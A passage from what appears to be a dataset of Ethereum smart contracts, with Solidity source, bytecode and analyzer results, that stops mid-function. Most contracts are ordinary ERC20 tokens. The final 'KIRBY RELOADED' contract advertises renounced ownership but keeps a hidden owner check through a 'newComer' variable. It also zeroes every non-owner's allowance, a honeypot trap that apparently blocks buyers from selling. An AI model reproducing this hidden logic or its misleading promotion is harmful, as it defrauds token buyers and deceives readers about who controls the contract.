// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public whenNotPaused returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public whenNotPaused returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function increaseApproval (address _spender, uint _addedValue) public whenNotPaused
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public whenNotPaused
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public whenNotPaused returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public whenNotPaused returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
|
0x6060604052600436106101035763ffffffff60e060020a60003504166306fdde038114610108578063095ea7b31461019257806318160ddd146101c857806323b872dd146101ed578063313ce567146102155780633eaaf86b1461023e5780633f4ba83a146102515780635c975abb14610264578063661884631461027757806370a082311461029957806379ba5097146102b85780638456cb59146102cd5780638da5cb5b146102e057806395d89b411461030f578063a9059cbb14610322578063cae9ca5114610344578063d4ee1d90146103a9578063d73dd623146103bc578063dc39d06d146103de578063dd62ed3e14610400578063f2fde38b14610425575b600080fd5b341561011357600080fd5b61011b610444565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561015757808201518382015260200161013f565b50505050905090810190601f1680156101845780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019d57600080fd5b6101b4600160a060020a03600435166024356104e2565b604051901515815260200160405180910390f35b34156101d357600080fd5b6101db610553565b60405190815260200160405180910390f35b34156101f857600080fd5b6101b4600160a060020a0360043581169060243516604435610585565b341561022057600080fd5b6102286106b2565b60405160ff909116815260200160405180910390f35b341561024957600080fd5b6101db6106bb565b341561025c57600080fd5b6101b46106c1565b341561026f57600080fd5b6101b4610745565b341561028257600080fd5b6101b4600160a060020a0360043516602435610755565b34156102a457600080fd5b6101db600160a060020a0360043516610858565b34156102c357600080fd5b6102cb610873565b005b34156102d857600080fd5b6101b4610901565b34156102eb57600080fd5b6102f361098a565b604051600160a060020a03909116815260200160405180910390f35b341561031a57600080fd5b61011b610999565b341561032d57600080fd5b6101b4600160a060020a0360043516602435610a04565b341561034f57600080fd5b6101b460048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610add95505050505050565b34156103b457600080fd5b6102f3610c45565b34156103c757600080fd5b6101b4600160a060020a0360043516602435610c54565b34156103e957600080fd5b6101b4600160a060020a0360043516602435610cfe565b341561040b57600080fd5b6101db600160a060020a0360043581169060243516610d91565b341561043057600080fd5b6102cb600160a060020a0360043516610dbc565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104da5780601f106104af576101008083540402835291602001916104da565b820191906000526020600020905b8154815290600101906020018083116104bd57829003601f168201915b505050505081565b60015460009060a060020a900460ff16156104fc57600080fd5b600160a060020a0333811660008181526007602090815260408083209488168084529490915290819020859055600080516020610e2c8339815191529085905190815260200160405180910390a350600192915050565b6000805260066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f8546005540390565b60015460009060a060020a900460ff161561059f57600080fd5b600160a060020a0384166000908152600660205260409020546105c8908363ffffffff610e0616565b600160a060020a038086166000908152600660209081526040808320949094556007815283822033909316825291909152205461060b908363ffffffff610e0616565b600160a060020a0380861660009081526007602090815260408083203385168452825280832094909455918616815260069091522054610651908363ffffffff610e1816565b600160a060020a03808516600081815260066020526040908190209390935591908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60045460ff1681565b60055481565b6000805433600160a060020a039081169116146106dd57600080fd5b60015460a060020a900460ff1615156106f557600080fd5b6001805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a150600190565b60015460a060020a900460ff1681565b600154600090819060a060020a900460ff161561077157600080fd5b50600160a060020a03338116600090815260076020908152604080832093871683529290522054808311156107cd57600160a060020a033381166000908152600760209081526040808320938816835292905290812055610804565b6107dd818463ffffffff610e0616565b600160a060020a033381166000908152600760209081526040808320938916835292905220555b600160a060020a033381166000818152600760209081526040808320948916808452949091529081902054600080516020610e2c833981519152915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526006602052604090205490565b60015433600160a060020a0390811691161461088e57600080fd5b600154600054600160a060020a0391821691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b6000805433600160a060020a0390811691161461091d57600080fd5b60015460a060020a900460ff161561093457600080fd5b6001805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a150600190565b600054600160a060020a031681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104da5780601f106104af576101008083540402835291602001916104da565b60015460009060a060020a900460ff1615610a1e57600080fd5b600160a060020a033316600090815260066020526040902054610a47908363ffffffff610e0616565b600160a060020a033381166000908152600660205260408082209390935590851681522054610a7c908363ffffffff610e1816565b600160a060020a0380851660008181526006602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b60015460009060a060020a900460ff1615610af757600080fd5b600160a060020a0333811660008181526007602090815260408083209489168084529490915290819020869055600080516020610e2c8339815191529086905190815260200160405180910390a383600160a060020a0316638f4ffcb1338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610bdd578082015183820152602001610bc5565b50505050905090810190601f168015610c0a5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610c2b57600080fd5b5af11515610c3857600080fd5b5060019695505050505050565b600154600160a060020a031681565b60015460009060a060020a900460ff1615610c6e57600080fd5b600160a060020a03338116600090815260076020908152604080832093871683529290522054610ca4908363ffffffff610e1816565b600160a060020a033381166000818152600760209081526040808320948916808452949091529081902084905591929091600080516020610e2c83398151915291905190815260200160405180910390a350600192915050565b6000805433600160a060020a03908116911614610d1a57600080fd5b600054600160a060020a038085169163a9059cbb91168460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610d7457600080fd5b5af11515610d8157600080fd5b5050506040518051949350505050565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b60005433600160a060020a03908116911614610dd757600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610e1257fe5b50900390565b81810182811015610e2557fe5b9291505056008c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925a165627a7a72305820ef1cfb29f92a4e8935a042d7b289c5965862f55226436d753068d61a162b553f0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 2,492 |
0x4e2f7de090ed3a32a3ba1940e5c01f8e24ddf512
|
pragma solidity 0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
/// Total amount of tokens
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _amount) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success);
function approve(address _spender, uint256 _amount) public returns (bool success);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
//balance in each address account
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _amount The amount to be transferred.
*/
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(_to != address(0));
require(balances[msg.sender] >= _amount && _amount > 0
&& balances[_to].add(_amount) > balances[_to]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _amount uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
require(_to != address(0));
require(balances[_from] >= _amount);
require(allowed[_from][msg.sender] >= _amount);
require(_amount > 0 && balances[_to].add(_amount) > balances[_to]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _amount The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title CLX Token
* @dev Token representing CLX.
*/
contract CLXToken is StandardToken, Ownable{
string public name ;
string public symbol ;
uint8 public decimals = 8 ;
/**
*@dev users sending ether to this contract will be reverted. Any ether sent to the contract will be sent back to the caller
*/
function ()public payable {
revert();
}
/**
* @dev Constructor function to initialize the initial supply of token to the creator of the contract
* @param initialSupply The initial supply of tokens which will be fixed through out
* @param tokenName The name of the token
* @param tokenSymbol The symbol of the token
*/
constructor (
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply.mul( 10 ** uint256(decimals)); //Update total supply with the decimal amount
name = tokenName;
symbol = tokenSymbol;
balances[msg.sender] = totalSupply;
//Emitting transfer event since assigning all tokens to the creator also corresponds to the transfer of tokens to the creator
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
*@dev helper method to get token details, name, symbol and totalSupply in one go
*/
function getTokenDetail() public view returns (string, string, uint256) {
return (name, symbol, totalSupply);
}
}
|
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df578063289de61514610264578063313ce5671461036757806370a08231146103985780638da5cb5b146103ef57806395d89b4114610446578063a9059cbb146104d6578063dd62ed3e1461053b578063f2fde38b146105b2575b600080fd5b3480156100cb57600080fd5b506100d46105f5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610693565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c9610785565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061078b565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610bf4565b604051808060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156102c35780820151818401526020810190506102a8565b50505050905090810190601f1680156102f05780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b8381101561032957808201518184015260208101905061030e565b50505050905090810190601f1680156103565780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561037357600080fd5b5061037c610d43565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103a457600080fd5b506103d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d56565b6040518082815260200191505060405180910390f35b3480156103fb57600080fd5b50610404610d9f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561045257600080fd5b5061045b610dc5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561049b578082015181840152602081019050610480565b50505050905090810190601f1680156104c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104e257600080fd5b50610521600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e63565b604051808215151515815260200191505060405180910390f35b34801561054757600080fd5b5061059c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061112e565b6040518082815260200191505060405180910390f35b3480156105be57600080fd5b506105f3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b5565b005b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561068b5780601f106106605761010080835404028352916020019161068b565b820191906000526020600020905b81548152906001019060200180831161066e57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107c857600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561081657600080fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156108a157600080fd5b6000821180156109405750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461093e83600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461130d90919063ffffffff16565b115b151561094b57600080fd5b61099d82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461132b90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a3282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461130d90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461132b90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b606080600060046005600054828054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c955780601f10610c6a57610100808354040283529160200191610c95565b820191906000526020600020905b815481529060010190602001808311610c7857829003601f168201915b50505050509250818054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d315780601f10610d0657610100808354040283529160200191610d31565b820191906000526020600020905b815481529060010190602001808311610d1457829003601f168201915b50505050509150925092509250909192565b600660009054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e5b5780601f10610e3057610100808354040283529160200191610e5b565b820191906000526020600020905b815481529060010190602001808311610e3e57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ea057600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610eef5750600082115b8015610f8a5750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f8883600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461130d90919063ffffffff16565b115b1515610f9557600080fd5b610fe782600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461132b90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061107c82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461130d90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561121157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561124d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015151561132157fe5b8091505092915050565b600082821115151561133957fe5b818303905092915050565b60008060008414156113595760009150611378565b828402905082848281151561136a57fe5b0414151561137457fe5b8091505b50929150505600a165627a7a72305820b850e10ce37d8860ff826d3d3adb0440ebd87967be21363810846e08f87361eb0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 2,493 |
0x27e7f410272e77c0d087d9501760fedd5fef3e66
|
/**
*Submitted for verification at Etherscan.io on 2021-07-27
*/
/*
Kirby RELOADED is using Reloaded Tokenonmics to be more profiitable.
10,000,000 Supply For Easy $1 Moonshot
OFFICIAL LAUNCH COUNTDOWN POSTED IN CHAT
🌝 Liquidity Locked At Launch 🚀
🍻 Ownership Renounced
Website: Kirbyreloaded.com
t.me/kirbyreloadedofficial
✅ Limited & Rare Supply , Non Deflationary, Get Rewarded For Holding to $100
🔥 NO TAX
✅ Anti bot 🤖
✅ Fair launch for all, No Presale
🍱 Fat Liquidity For Best Mid Range MC
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract KIRBYRELOADED is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 10 * 10**6 * 10**18;
string private _name = 'KIRBY RELOADED';
string private _symbol = '$KIRBYRELOADED';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
